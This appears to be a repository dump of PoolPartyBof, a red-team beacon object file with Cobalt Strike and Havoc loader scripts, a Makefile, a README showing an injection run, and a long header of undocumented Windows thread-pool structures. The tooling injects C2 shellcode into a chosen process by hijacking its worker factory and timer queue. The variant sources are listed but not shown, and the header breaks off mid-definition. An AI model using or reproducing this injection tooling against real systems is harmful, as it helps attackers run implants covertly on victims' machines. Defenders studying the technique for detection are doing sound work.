├── Makefile ├── README.md ├── dist ├── PoolPartyBof.cna ├── extension.json └── havoc_bof.py ├── img ├── PoolPartyBof.png └── PoolPartyBofHavoc.png └── src ├── PoolPartyBof.h ├── Varient_4.c ├── Varient_5.c ├── Varient_6.c ├── Varient_7.c ├── Varient_8.c └── beacon.h /Makefile: -------------------------------------------------------------------------------- 1 | CC_x64 := x86_64-w64-mingw32-gcc 2 | CFLAGS := -Os -s 3 | CXXFLAGS += -w 4 | COMPILED := dist 5 | RM := rm 6 | 7 | all: PoolPartyBof 8 | 9 | PoolPartyBof: 10 | $(CC_x64) -o $(COMPILED)/PoolPartyBof_V8.x64.o -c src/Varient_8.c 11 | $(CC_x64) -o $(COMPILED)/PoolPartyBof_V7.x64.o -c src/Varient_7.c 12 | $(CC_x64) -o $(COMPILED)/PoolPartyBof_V6.x64.o -c src/Varient_6.c 13 | $(CC_x64) -o $(COMPILED)/PoolPartyBof_V5.x64.o -c src/Varient_5.c 14 | $(CC_x64) -o $(COMPILED)/PoolPartyBof_V4.x64.o -c src/Varient_4.c 15 | 16 | clean: 17 | $(RM) $(COMPILED)/*.o 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PoolParty BOF 2 | 3 | A beacon object file implementation of [PoolParty Process Injection Technique](https://github.com/SafeBreach-Labs/PoolParty/) by [@_SafeBreach_](https://www.safebreach.com/) and [@_0xDeku_](https://twitter.com/_0xDeku), that abuses Windows Thread Pools. The BOF supports the 5 technique/variant: 4 | - Insert TP_IO work item to the target process's thread pool. 5 | - Insert TP_ALPC work item to the target process's thread pool. 6 | - Insert TP_JOB work item to the target process's thread pool. 7 | - Insert TP_DIRECT work item to the target process's thread pool. 8 | - Insert TP_TIMER work item to the target process's thread pool. 9 | 10 | I will try to keep adding remaining variants. 11 | 12 | ## Usage 13 | ``` 14 | PoolPartyBof 15 | ``` 16 | 17 | - Usage Examples 18 | 19 | ``` 20 | PoolPartyBof 2136 /tmp/beacon_x64.bin 4 21 | [*] Opening 2136 and running PoolParty with /tmp/beacon_x64.bin shellcode! 22 | [+] host called home, sent: 314020 bytes 23 | [+] received output: 24 | [INFO] Shellcode Size: 307200 bytes 25 | [+] received output: 26 | [INFO] Starting PoolParty attack against process id: 2136 27 | [+] received output: 28 | [INFO] Retrieved handle to the target process: 0000000000000670 29 | [+] received output: 30 | [INFO] Hijacked worker factory handle from the target process: 000000C96E0FF5B8 31 | [+] received output: 32 | [INFO] Hijacked timer queue handle from the target process: 000000C96E0FF5B8 33 | [+] received output: 34 | [INFO] Allocated shellcode memory in the target process: 00000290C91B0000 35 | [+] received output: 36 | [INFO] Written shellcode to the target process 37 | [+] received output: 38 | [INFO] Retrieved target worker factory basic information 39 | [+] received output: 40 | [INFO] Created TP_TIMER structure associated with the shellcode 41 | [+] received output: 42 | [INFO] Allocated TP_TIMER memory in the target process: 00000290C9200000 43 | [+] received output: 44 | [INFO] Written the specially crafted TP_TIMER structure to the target process 45 | [+] received output: 46 | [INFO] Modified the target process's TP_POOL timer queue WindowsStart and Windows End to point to the specially crafted TP_TIMER 47 | [+] received output: 48 | [INFO] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration 49 | [+] received output: 50 | [INFO] PoolParty attack completed. 51 | ``` 52 | 53 | ![](img/PoolPartyBof.png) 54 | ![](img/PoolPartyBofHavoc.png) 55 | 56 | > The BOF can be further used with [Process Injection Hooks](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2-extend_control-process-injection.htm) provided within Cobaltstrike, and [Rastamouse](https://twitter.com/_RastaMouse) has a perfect [blog](https://offensivedefence.co.uk/posts/cs-process-inject-kit/) too. 57 | 58 | 59 | > Added [Havoc](https://github.com/HavocFramework/Havoc/) BOF support. You are welcome to open an issue, if something doesn't work. For [sliver C2](https://github.com/BishopFox/sliver) it partially works, but Somehow the remote process crashes when executed the shellcode. 60 | 61 | 62 | ### Credits and Orginal Work 63 | - [Blackhat Slides](https://www.blackhat.com/eu-23/briefings/schedule/#the-pool-party-you-will-never-forget-new-process-injection-techniques-using-windows-thread-pools-35446) 64 | - [Alon Leviev](https://twitter.com/_0xDeku) 65 | - [SafeBreach](https://www.safebreach.com/) 66 | -------------------------------------------------------------------------------- /dist/PoolPartyBof.cna: -------------------------------------------------------------------------------- 1 | beacon_command_register ( 2 | "PoolPartyBof", 3 | "Opens a process (given PID), and injects the shellcode, executes via 5 different Variants.", 4 | "Synopsis: PoolPartyBof " 5 | ); 6 | 7 | alias PoolPartyBof { 8 | if(size(@_) != 4) { 9 | berror($1, "Incorrect usage!"); 10 | berror($1, beacon_command_detail("PoolPartyBof")); 11 | return; 12 | } 13 | if (size(@_) == 4) { 14 | $pid = @_[1]; 15 | $ShellcodeFile = @_[2]; 16 | $variant = @_[3]; 17 | } 18 | 19 | local('$barch $handle $data $args'); 20 | $barch = barch($1); 21 | if ($barch !eq 'x64') { 22 | berror($1, "Only x64 Supported"); 23 | return; 24 | } 25 | 26 | if ((!-isnumber $2) || (int($2) <= 0)) { 27 | berror($1, "Please enter a valid PID"); 28 | return; 29 | } 30 | 31 | if (!-exists $ShellcodeFile) { 32 | berror($1, "File doesn't exist"); 33 | return; 34 | } 35 | 36 | local('$sc_handle $sc_data'); 37 | $sc_handle = openf($ShellcodeFile); 38 | $sc_data = readb($sc_handle, -1); 39 | closef($sc_handle); 40 | 41 | if ($Varient == 7) { 42 | local('$handle $data $args'); 43 | $handle = openf(script_resource("PoolPartyBof_V7.x64.o")); 44 | $data = readb($handle, -1); 45 | closef($handle); 46 | } 47 | else if ($Varient == 5) { 48 | local('$handle $data $args'); 49 | $handle = openf(script_resource("PoolPartyBof_V5.x64.o")); 50 | $data = readb($handle, -1); 51 | closef($handle); 52 | } 53 | else if ($Varient == 4) { 54 | local('$handle $data $args'); 55 | $handle = openf(script_resource("PoolPartyBof_V4.x64.o")); 56 | $data = readb($handle, -1); 57 | closef($handle); 58 | } 59 | else if ($Varient == 6) { 60 | local('$handle $data $args'); 61 | $handle = openf(script_resource("PoolPartyBof_V6.x64.o")); 62 | $data = readb($handle, -1); 63 | closef($handle); 64 | } 65 | else { 66 | local('$handle $data $args'); 67 | $handle = openf(script_resource("PoolPartyBof_V8.x64.o")); 68 | $data = readb($handle, -1); 69 | closef($handle); 70 | } 71 | 72 | $args = bof_pack($1, "ib", $pid, $sc_data); 73 | btask($1, "Opening $pid and running PoolParty ($Varient Varient) with $ShellcodeFile shellcode!"); 74 | beacon_inline_execute($1, $data, "go", $args); 75 | } -------------------------------------------------------------------------------- /dist/extension.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "PoolPartyBof", 3 | "version": "1.0.0", 4 | "command_name": "PoolPartyBof", 5 | "extension_author": "0xEr3bus", 6 | "original_author": "0xDeku", 7 | "repo_url": "https://github.com/0xEr3bus/PoolPartyBof/", 8 | "help": "Inject shellcode by abusing Windows Thread Pools", 9 | "long_help": "", 10 | "depends_on": "coff-loader", 11 | "entrypoint": "go", 12 | "files": [ 13 | { 14 | "os": "windows", 15 | "arch": "amd64", 16 | "path": "PoolPartyBof_V8.x64.o" 17 | } 18 | ], 19 | "arguments": [ 20 | { 21 | "name": "pid", 22 | "desc": "PID of a process.", 23 | "type": "int", 24 | "optional": false 25 | }, 26 | { 27 | "name": "shellcodeFile", 28 | "desc": "File that contains shellcode", 29 | "type": "file", 30 | "optional": false 31 | } 32 | ] 33 | } -------------------------------------------------------------------------------- /dist/havoc_bof.py: -------------------------------------------------------------------------------- 1 | from havoc import Demon, RegisterCommand 2 | 3 | 4 | def PoolParty(demonID, *param): 5 | TaskID: str = None 6 | demon: Demon = None 7 | packer : Packer = Packer() 8 | 9 | pid: int = 0 10 | Varient: int = 0 11 | Shellcode: bytes = b'' 12 | 13 | demon = Demon(demonID) 14 | 15 | if len(param) < 3: 16 | demon.ConsoleWrite(demon.CONSOLE_ERROR, f"Not enough arguments {len(param)}") 17 | return False 18 | 19 | if len(param) > 3: 20 | demon.ConsoleWrite(demon.CONSOLE_ERROR, "Too many arguments") 21 | return False 22 | 23 | pid = int(param[0]) 24 | shellcodeFile = param[1] 25 | Varient = int(param[2]) 26 | 27 | Shellcode = open(shellcodeFile, 'rb').read() 28 | if exists(shellcodeFile) is False: 29 | demon.ConsoleWrite(demon.CONSOLE_ERROR, f"File containing shellcode not found: {shellcodeFile}") 30 | return False 31 | else: 32 | Shellcode = open(shellcodeFile, 'rb').read() 33 | if len(Shellcode) == 0: 34 | demon.ConsoleWrite(demon.CONSOLE_ERROR, "Shellcode is empty.") 35 | return False 36 | 37 | objectFile = "" 38 | if Varient == 4: 39 | objectFile = "PoolPartyBof_V4.x64.o" 40 | elif Varient == 5: 41 | objectFile = "PoolPartyBof_V5.x64.o" 42 | elif Varient == 6: 43 | objectFile = "PoolPartyBof_V6.x64.o" 44 | elif Varient == 7: 45 | objectFile = "PoolPartyBof_V7.x64.o" 46 | elif Varient == 8: 47 | objectFile = "PoolPartyBof_V8.x64.o" 48 | else: 49 | demon.ConsoleWrite(demon.CONSOLE_ERROR, f"Supply Varient [4-8]: {shellcodeFile}") 50 | return False 51 | 52 | TaskID = demon.ConsoleWrite(demon.CONSOLE_TASK, f"Tasked demon to execute {shellcodeFile}, with {Varient}th Varient.") 53 | 54 | 55 | packer.addint(pid) 56 | packer.addbytes(Shellcode) 57 | 58 | demon.InlineExecute(TaskID, "go", objectFile, packer.getbuffer(), 59 | False) 60 | 61 | return TaskID 62 | 63 | RegisterCommand(PoolParty, "", "PoolPartyBof", "Execute shellcode.", 0, "[PID] [/PATH/TO/SHELLCODE] [VARIENT]", "1234 /tmp/shellcode.bin 8" ) 64 | -------------------------------------------------------------------------------- /img/PoolPartyBof.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xEr3bus/PoolPartyBof/a6443ad782f7241a094e9751e0a77e24677e12b3/img/PoolPartyBof.png -------------------------------------------------------------------------------- /img/PoolPartyBofHavoc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0xEr3bus/PoolPartyBof/a6443ad782f7241a094e9751e0a77e24677e12b3/img/PoolPartyBofHavoc.png -------------------------------------------------------------------------------- /src/PoolPartyBof.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include "beacon.h" 5 | #include 6 | 7 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 8 | #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 9 | #define WORKER_FACTORY_RELEASE_WORKER 0x0001 10 | #define WORKER_FACTORY_WAIT 0x0002 11 | #define WORKER_FACTORY_SET_INFORMATION 0x0004 12 | #define WORKER_FACTORY_QUERY_INFORMATION 0x0008 13 | #define WORKER_FACTORY_READY_WORKER 0x0010 14 | #define WORKER_FACTORY_SHUTDOWN 0x0020 15 | #define WORKER_FACTORY_ALL_ACCESS ( \ 16 | STANDARD_RIGHTS_REQUIRED | \ 17 | WORKER_FACTORY_RELEASE_WORKER | \ 18 | WORKER_FACTORY_WAIT | \ 19 | WORKER_FACTORY_SET_INFORMATION | \ 20 | WORKER_FACTORY_QUERY_INFORMATION | \ 21 | WORKER_FACTORY_READY_WORKER | \ 22 | WORKER_FACTORY_SHUTDOWN \ 23 | ) 24 | 25 | // ---------// 26 | // Structs // 27 | // --------// 28 | 29 | typedef struct _UNICODE_STRING { 30 | USHORT Length; 31 | USHORT MaximumLength; 32 | PWSTR Buffer; 33 | } UNICODE_STRING, *PUNICODE_STRING; 34 | 35 | 36 | typedef struct _TP_TASK_CALLBACKS 37 | { 38 | void* ExecuteCallback; 39 | void* Unposted; 40 | } TP_TASK_CALLBACKS, * PTP_TASK_CALLBACKS; 41 | 42 | typedef struct _TP_TASK 43 | { 44 | struct _TP_TASK_CALLBACKS* Callbacks; 45 | UINT32 NumaNode; 46 | UINT8 IdealProcessor; 47 | char Padding_242[3]; 48 | struct _LIST_ENTRY ListEntry; 49 | } TP_TASK, * PTP_TASK; 50 | 51 | typedef struct _TPP_REFCOUNT 52 | { 53 | volatile INT32 Refcount; 54 | } TPP_REFCOUNT, * PTPP_REFCOUNT; 55 | 56 | typedef struct _TPP_CALLER 57 | { 58 | void* ReturnAddress; 59 | } TPP_CALLER, * PTPP_CALLER; 60 | 61 | typedef struct _TPP_PH 62 | { 63 | struct _TPP_PH_LINKS* Root; 64 | } TPP_PH, * PTPP_PH; 65 | 66 | typedef struct _TP_DIRECT 67 | { 68 | struct _TP_TASK Task; 69 | UINT64 Lock; 70 | struct _LIST_ENTRY IoCompletionInformationList; 71 | void* Callback; 72 | UINT32 NumaNode; 73 | UINT8 IdealProcessor; 74 | char __PADDING__[3]; 75 | } TP_DIRECT, * PTP_DIRECT; 76 | 77 | typedef struct _TPP_TIMER_SUBQUEUE 78 | { 79 | INT64 Expiration; 80 | struct _TPP_PH WindowStart; 81 | struct _TPP_PH WindowEnd; 82 | void* Timer; 83 | void* TimerPkt; 84 | struct _TP_DIRECT Direct; 85 | UINT32 ExpirationWindow; 86 | INT32 __PADDING__[1]; 87 | } TPP_TIMER_SUBQUEUE, * PTPP_TIMER_SUBQUEUE; 88 | 89 | typedef struct _TPP_TIMER_QUEUE 90 | { 91 | struct _RTL_SRWLOCK Lock; 92 | struct _TPP_TIMER_SUBQUEUE AbsoluteQueue; 93 | struct _TPP_TIMER_SUBQUEUE RelativeQueue; 94 | INT32 AllocatedTimerCount; 95 | INT32 __PADDING__[1]; 96 | } TPP_TIMER_QUEUE, * PTPP_TIMER_QUEUE; 97 | 98 | typedef struct _TPP_NUMA_NODE 99 | { 100 | INT32 WorkerCount; 101 | } TPP_NUMA_NODE, * PTPP_NUMA_NODE; 102 | 103 | typedef union _TPP_POOL_QUEUE_STATE 104 | { 105 | union 106 | { 107 | INT64 Exchange; 108 | struct 109 | { 110 | INT32 RunningThreadGoal : 16; 111 | UINT32 PendingReleaseCount : 16; 112 | UINT32 QueueLength; 113 | }; 114 | }; 115 | } TPP_POOL_QUEUE_STATE, * PTPP_POOL_QUEUE_STATE; 116 | 117 | typedef struct _TPP_QUEUE 118 | { 119 | struct _LIST_ENTRY Queue; 120 | struct _RTL_SRWLOCK Lock; 121 | } TPP_QUEUE, * PTPP_QUEUE; 122 | 123 | typedef struct _FULL_TP_POOL 124 | { 125 | struct _TPP_REFCOUNT Refcount; 126 | long Padding_239; 127 | union _TPP_POOL_QUEUE_STATE QueueState; 128 | struct _TPP_QUEUE* TaskQueue[3]; 129 | struct _TPP_NUMA_NODE* NumaNode; 130 | struct _GROUP_AFFINITY* ProximityInfo; 131 | void* WorkerFactory; 132 | void* CompletionPort; 133 | struct _RTL_SRWLOCK Lock; 134 | struct _LIST_ENTRY PoolObjectList; 135 | struct _LIST_ENTRY WorkerList; 136 | struct _TPP_TIMER_QUEUE TimerQueue; 137 | struct _RTL_SRWLOCK ShutdownLock; 138 | UINT8 ShutdownInitiated; 139 | UINT8 Released; 140 | UINT16 PoolFlags; 141 | long Padding_240; 142 | struct _LIST_ENTRY PoolLinks; 143 | struct _TPP_CALLER AllocCaller; 144 | struct _TPP_CALLER ReleaseCaller; 145 | volatile INT32 AvailableWorkerCount; 146 | volatile INT32 LongRunningWorkerCount; 147 | UINT32 LastProcCount; 148 | volatile INT32 NodeStatus; 149 | volatile INT32 BindingCount; 150 | UINT32 CallbackChecksDisabled : 1; 151 | UINT32 TrimTarget : 11; 152 | UINT32 TrimmedThrdCount : 11; 153 | UINT32 SelectedCpuSetCount; 154 | long Padding_241; 155 | struct _RTL_CONDITION_VARIABLE TrimComplete; 156 | struct _LIST_ENTRY TrimmedWorkerList; 157 | } FULL_TP_POOL, * PFULL_TP_POOL; 158 | 159 | typedef struct _ALPC_WORK_ON_BEHALF_TICKET 160 | { 161 | UINT32 ThreadId; 162 | UINT32 ThreadCreationTimeLow; 163 | } ALPC_WORK_ON_BEHALF_TICKET, * PALPC_WORK_ON_BEHALF_TICKET; 164 | 165 | typedef union _TPP_WORK_STATE 166 | { 167 | union 168 | { 169 | INT32 Exchange; 170 | UINT32 Insertable : 1; 171 | UINT32 PendingCallbackCount : 31; 172 | }; 173 | } TPP_WORK_STATE, * PTPP_WORK_STATE; 174 | 175 | typedef struct _TPP_ITE_WAITER 176 | { 177 | struct _TPP_ITE_WAITER* Next; 178 | void* ThreadId; 179 | } TPP_ITE_WAITER, * PTPP_ITE_WAITER; 180 | 181 | typedef struct _TPP_PH_LINKS 182 | { 183 | struct _LIST_ENTRY Siblings; 184 | struct _LIST_ENTRY Children; 185 | INT64 Key; 186 | } TPP_PH_LINKS, * PTPP_PH_LINKS; 187 | 188 | typedef struct _TPP_ITE 189 | { 190 | struct _TPP_ITE_WAITER* First; 191 | } TPP_ITE, * PTPP_ITE; 192 | 193 | typedef union _TPP_FLAGS_COUNT 194 | { 195 | union 196 | { 197 | UINT64 Count : 60; 198 | UINT64 Flags : 4; 199 | INT64 Data; 200 | }; 201 | } TPP_FLAGS_COUNT, * PTPP_FLAGS_COUNT; 202 | 203 | typedef struct _TPP_BARRIER 204 | { 205 | volatile union _TPP_FLAGS_COUNT Ptr; 206 | struct _RTL_SRWLOCK WaitLock; 207 | struct _TPP_ITE WaitList; 208 | } TPP_BARRIER, * PTPP_BARRIER; 209 | 210 | typedef struct _TP_CLEANUP_GROUP 211 | { 212 | struct _TPP_REFCOUNT Refcount; 213 | INT32 Released; 214 | struct _RTL_SRWLOCK MemberLock; 215 | struct _LIST_ENTRY MemberList; 216 | struct _TPP_BARRIER Barrier; 217 | struct _RTL_SRWLOCK CleanupLock; 218 | struct _LIST_ENTRY CleanupList; 219 | } TP_CLEANUP_GROUP, * PTP_CLEANUP_GROUP; 220 | 221 | 222 | typedef struct _TPP_CLEANUP_GROUP_MEMBER 223 | { 224 | struct _TPP_REFCOUNT Refcount; 225 | long Padding_233; 226 | const struct _TPP_CLEANUP_GROUP_MEMBER_VFUNCS* VFuncs; 227 | struct _TP_CLEANUP_GROUP* CleanupGroup; 228 | void* CleanupGroupCancelCallback; 229 | void* FinalizationCallback; 230 | struct _LIST_ENTRY CleanupGroupMemberLinks; 231 | struct _TPP_BARRIER CallbackBarrier; 232 | union 233 | { 234 | void* Callback; 235 | void* WorkCallback; 236 | void* SimpleCallback; 237 | void* TimerCallback; 238 | void* WaitCallback; 239 | void* IoCallback; 240 | void* AlpcCallback; 241 | void* AlpcCallbackEx; 242 | void* JobCallback; 243 | }; 244 | void* Context; 245 | struct _ACTIVATION_CONTEXT* ActivationContext; 246 | void* SubProcessTag; 247 | struct _GUID ActivityId; 248 | struct _ALPC_WORK_ON_BEHALF_TICKET WorkOnBehalfTicket; 249 | void* RaceDll; 250 | FULL_TP_POOL* Pool; 251 | struct _LIST_ENTRY PoolObjectLinks; 252 | union 253 | { 254 | volatile INT32 Flags; 255 | UINT32 LongFunction : 1; 256 | UINT32 Persistent : 1; 257 | UINT32 UnusedPublic : 14; 258 | UINT32 Released : 1; 259 | UINT32 CleanupGroupReleased : 1; 260 | UINT32 InCleanupGroupCleanupList : 1; 261 | UINT32 UnusedPrivate : 13; 262 | }; 263 | long Padding_234; 264 | struct _TPP_CALLER AllocCaller; 265 | struct _TPP_CALLER ReleaseCaller; 266 | enum _TP_CALLBACK_PRIORITY CallbackPriority; 267 | INT32 __PADDING__[1]; 268 | } TPP_CLEANUP_GROUP_MEMBER, * PTPP_CLEANUP_GROUP_MEMBER; 269 | 270 | typedef struct _FULL_TP_WORK 271 | { 272 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; 273 | struct _TP_TASK Task; 274 | volatile union _TPP_WORK_STATE WorkState; 275 | INT32 __PADDING__[1]; 276 | } FULL_TP_WORK, * PFULL_TP_WORK; 277 | 278 | typedef struct _FULL_TP_TIMER 279 | { 280 | struct _FULL_TP_WORK Work; 281 | struct _RTL_SRWLOCK Lock; 282 | union 283 | { 284 | struct _TPP_PH_LINKS WindowEndLinks; 285 | struct _LIST_ENTRY ExpirationLinks; 286 | }; 287 | struct _TPP_PH_LINKS WindowStartLinks; 288 | INT64 DueTime; 289 | struct _TPP_ITE Ite; 290 | UINT32 Window; 291 | UINT32 Period; 292 | UINT8 Inserted; 293 | UINT8 WaitTimer; 294 | union 295 | { 296 | UINT8 TimerStatus; 297 | UINT8 InQueue : 1; 298 | UINT8 Absolute : 1; 299 | UINT8 Cancelled : 1; 300 | }; 301 | UINT8 BlockInsert; 302 | INT32 __PADDING__[1]; 303 | } FULL_TP_TIMER, * PFULL_TP_TIMER; 304 | 305 | typedef struct _FULL_TP_WAIT 306 | { 307 | struct _FULL_TP_TIMER Timer; 308 | void* Handle; 309 | void* WaitPkt; 310 | void* NextWaitHandle; 311 | union _LARGE_INTEGER NextWaitTimeout; 312 | struct _TP_DIRECT Direct; 313 | union 314 | { 315 | union 316 | { 317 | UINT8 AllFlags; 318 | UINT8 NextWaitActive : 1; 319 | UINT8 NextTimeoutActive : 1; 320 | UINT8 CallbackCounted : 1; 321 | UINT8 Spare : 5; 322 | }; 323 | } WaitFlags; 324 | char __PADDING__[7]; 325 | } FULL_TP_WAIT, * PFULL_TP_WAIT; 326 | 327 | typedef struct _FULL_TP_IO 328 | { 329 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; 330 | struct _TP_DIRECT Direct; 331 | void* File; 332 | volatile INT32 PendingIrpCount; 333 | INT32 __PADDING__[1]; 334 | } FULL_TP_IO, * PFULL_TP_IO; 335 | 336 | typedef struct _FULL_TP_ALPC 337 | { 338 | struct _TP_DIRECT Direct; 339 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; 340 | void* AlpcPort; 341 | INT32 DeferredSendCount; 342 | INT32 LastConcurrencyCount; 343 | union 344 | { 345 | UINT32 Flags; 346 | UINT32 ExTypeCallback : 1; 347 | UINT32 CompletionListRegistered : 1; 348 | UINT32 Reserved : 30; 349 | }; 350 | INT32 __PADDING__[1]; 351 | } FULL_TP_ALPC, * PFULL_TP_ALPC; 352 | 353 | typedef struct _T2_SET_PARAMETERS_V0 354 | { 355 | ULONG Version; 356 | ULONG Reserved; 357 | LONGLONG NoWakeTolerance; 358 | } T2_SET_PARAMETERS, * PT2_SET_PARAMETERS; 359 | 360 | typedef enum _PROCESSINFOCLASS { 361 | ProcessBasicInformation = 0, 362 | ProcessDebugPort = 7, 363 | ProcessWow64Information = 26, 364 | ProcessImageFileName = 27, 365 | ProcessBreakOnTermination = 29 366 | } PROCESSINFOCLASS; 367 | 368 | typedef enum _OBJECT_INFORMATION_CLASS { 369 | ObjectBasicInformation = 0, 370 | ObjectTypeInformation = 2 371 | } OBJECT_INFORMATION_CLASS; 372 | 373 | typedef struct _PROCESS_HANDLE_TABLE_ENTRY_INFO 374 | { 375 | HANDLE HandleValue; 376 | ULONG_PTR HandleCount; 377 | ULONG_PTR PointerCount; 378 | ACCESS_MASK GrantedAccess; 379 | ULONG ObjectTypeIndex; 380 | ULONG HandleAttributes; 381 | ULONG Reserved; 382 | } PROCESS_HANDLE_TABLE_ENTRY_INFO, * PPROCESS_HANDLE_TABLE_ENTRY_INFO; 383 | 384 | typedef struct _PROCESS_HANDLE_SNAPSHOT_INFORMATION 385 | { 386 | ULONG_PTR NumberOfHandles; 387 | ULONG_PTR Reserved; 388 | PROCESS_HANDLE_TABLE_ENTRY_INFO Handles[ANYSIZE_ARRAY]; 389 | } PROCESS_HANDLE_SNAPSHOT_INFORMATION, * PPROCESS_HANDLE_SNAPSHOT_INFORMATION; 390 | 391 | typedef enum 392 | { 393 | ProcessHandleInformation = 51 394 | } PROCESS_INFOCLASS; 395 | 396 | typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION { 397 | UNICODE_STRING TypeName; 398 | ULONG Reserved[22]; // reserved for internal use 399 | } PUBLIC_OBJECT_TYPE_INFORMATION, * PPUBLIC_OBJECT_TYPE_INFORMATION; 400 | 401 | typedef struct _WORKER_FACTORY_BASIC_INFORMATION 402 | { 403 | LARGE_INTEGER Timeout; 404 | LARGE_INTEGER RetryTimeout; 405 | LARGE_INTEGER IdleTimeout; 406 | BOOLEAN Paused; 407 | BOOLEAN TimerSet; 408 | BOOLEAN QueuedToExWorker; 409 | BOOLEAN MayCreate; 410 | BOOLEAN CreateInProgress; 411 | BOOLEAN InsertedIntoQueue; 412 | BOOLEAN Shutdown; 413 | ULONG BindingCount; 414 | ULONG ThreadMinimum; 415 | ULONG ThreadMaximum; 416 | ULONG PendingWorkerCount; 417 | ULONG WaitingWorkerCount; 418 | ULONG TotalWorkerCount; 419 | ULONG ReleaseCount; 420 | LONGLONG InfiniteWaitGoal; 421 | PVOID StartRoutine; 422 | PVOID StartParameter; 423 | HANDLE ProcessId; 424 | SIZE_T StackReserve; 425 | SIZE_T StackCommit; 426 | NTSTATUS LastThreadCreationStatus; 427 | } WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION; 428 | 429 | 430 | typedef NTSTATUS(NTAPI* _NtSetTimer2)( 431 | HANDLE TimerHandle, 432 | PLARGE_INTEGER DueTime, 433 | PLARGE_INTEGER Period, 434 | PT2_SET_PARAMETERS Parameters 435 | ); 436 | 437 | typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)( 438 | IN HANDLE ProcessHandle, 439 | IN PROCESSINFOCLASS ProcessInformationClass, 440 | OUT PVOID ProcessInformation, 441 | IN ULONG ProcessInformationLength, 442 | OUT PULONG ReturnLength OPTIONAL 443 | ); 444 | 445 | 446 | typedef NTSTATUS(NTAPI* _NtQueryObject)( 447 | HANDLE Handle, 448 | OBJECT_INFORMATION_CLASS ObjectInformationClass, 449 | PVOID ObjectInformation, 450 | ULONG ObjectInformationLength, 451 | PULONG ReturnLength 452 | ); 453 | 454 | typedef enum _QUERY_WORKERFACTORYINFOCLASS 455 | { 456 | WorkerFactoryBasicInformation = 7, 457 | } QUERY_WORKERFACTORYINFOCLASS, * PQUERY_WORKERFACTORYINFOCLASS; 458 | 459 | typedef NTSTATUS(NTAPI* _NtQueryInformationWorkerFactory)( 460 | HANDLE WorkerFactoryHandle, 461 | QUERY_WORKERFACTORYINFOCLASS WorkerFactoryInformationClass, 462 | PVOID WorkerFactoryInformation, 463 | ULONG WorkerFactoryInformationLength, 464 | PULONG ReturnLength 465 | ); 466 | 467 | typedef NTSTATUS(NTAPI* _ZwSetIoCompletion)( 468 | HANDLE IoCompletionHandle, 469 | PVOID KeyContext, 470 | PVOID ApcContext, 471 | NTSTATUS IoStatus, 472 | ULONG_PTR IoStatusInformation 473 | ); 474 | 475 | typedef struct _FULL_TP_JOB 476 | { 477 | struct _TP_DIRECT Direct; 478 | struct _TPP_CLEANUP_GROUP_MEMBER CleanupGroupMember; 479 | void* JobHandle; 480 | union 481 | { 482 | volatile int64_t CompletionState; 483 | int64_t Rundown : 1; 484 | int64_t CompletionCount : 63; 485 | }; 486 | struct _RTL_SRWLOCK RundownLock; 487 | } FULL_TP_JOB, * PFULL_TP_JOB; 488 | 489 | typedef NTSTATUS (NTAPI* _TpAllocJobNotification)( 490 | PFULL_TP_JOB* JobReturn, 491 | HANDLE HJob, 492 | PVOID Callback, 493 | PVOID Context, 494 | PTP_CALLBACK_ENVIRON CallbackEnviron 495 | ); 496 | 497 | typedef struct _OBJECT_ATTRIBUTES 498 | { 499 | ULONG Length; 500 | HANDLE RootDirectory; 501 | PUNICODE_STRING ObjectName; 502 | ULONG Attributes; 503 | PVOID SecurityDescriptor; 504 | PVOID SecurityQualityOfService; 505 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 506 | 507 | typedef struct _ALPC_PORT_ATTRIBUTES 508 | { 509 | ULONG Flags; 510 | SECURITY_QUALITY_OF_SERVICE SecurityQos; 511 | SIZE_T MaxMessageLength; 512 | SIZE_T MemoryBandwidth; 513 | SIZE_T MaxPoolUsage; 514 | SIZE_T MaxSectionSize; 515 | SIZE_T MaxViewSize; 516 | SIZE_T MaxTotalSectionSize; 517 | ULONG DupObjectTypes; 518 | #ifdef _WIN64 519 | ULONG Reserved; 520 | #endif 521 | } ALPC_PORT_ATTRIBUTES, * PALPC_PORT_ATTRIBUTES; 522 | 523 | 524 | typedef NTSTATUS(NTAPI *_NtAlpcCreatePort)( 525 | PHANDLE PortHandle, 526 | POBJECT_ATTRIBUTES ObjectAttributes, 527 | PALPC_PORT_ATTRIBUTES PortAttributes 528 | ); 529 | 530 | typedef struct _TP_ALPC TP_ALPC, * PTP_ALPC; 531 | 532 | typedef VOID(NTAPI* PTP_ALPC_CALLBACK)( 533 | PTP_CALLBACK_INSTANCE Instance, 534 | PVOID Context, 535 | PTP_ALPC Alpc 536 | ); 537 | 538 | typedef NTSTATUS( NTAPI* _TpAllocAlpcCompletion)( 539 | PFULL_TP_ALPC* AlpcReturn, 540 | HANDLE AlpcPort, 541 | PTP_ALPC_CALLBACK Callback, 542 | PVOID Context, 543 | PTP_CALLBACK_ENVIRON CallbackEnviron 544 | ); 545 | 546 | typedef struct _ALPC_PORT_ASSOCIATE_COMPLETION_PORT 547 | { 548 | PVOID CompletionKey; 549 | HANDLE CompletionPort; 550 | } ALPC_PORT_ASSOCIATE_COMPLETION_PORT, * PALPC_PORT_ASSOCIATE_COMPLETION_PORT; 551 | 552 | // private 553 | typedef enum _ALPC_PORT_INFORMATION_CLASS 554 | { 555 | AlpcBasicInformation, // q: out ALPC_BASIC_INFORMATION 556 | AlpcPortInformation, // s: in ALPC_PORT_ATTRIBUTES 557 | AlpcAssociateCompletionPortInformation, // s: in ALPC_PORT_ASSOCIATE_COMPLETION_PORT 558 | AlpcConnectedSIDInformation, // q: in SID 559 | AlpcServerInformation, // q: inout ALPC_SERVER_INFORMATION 560 | 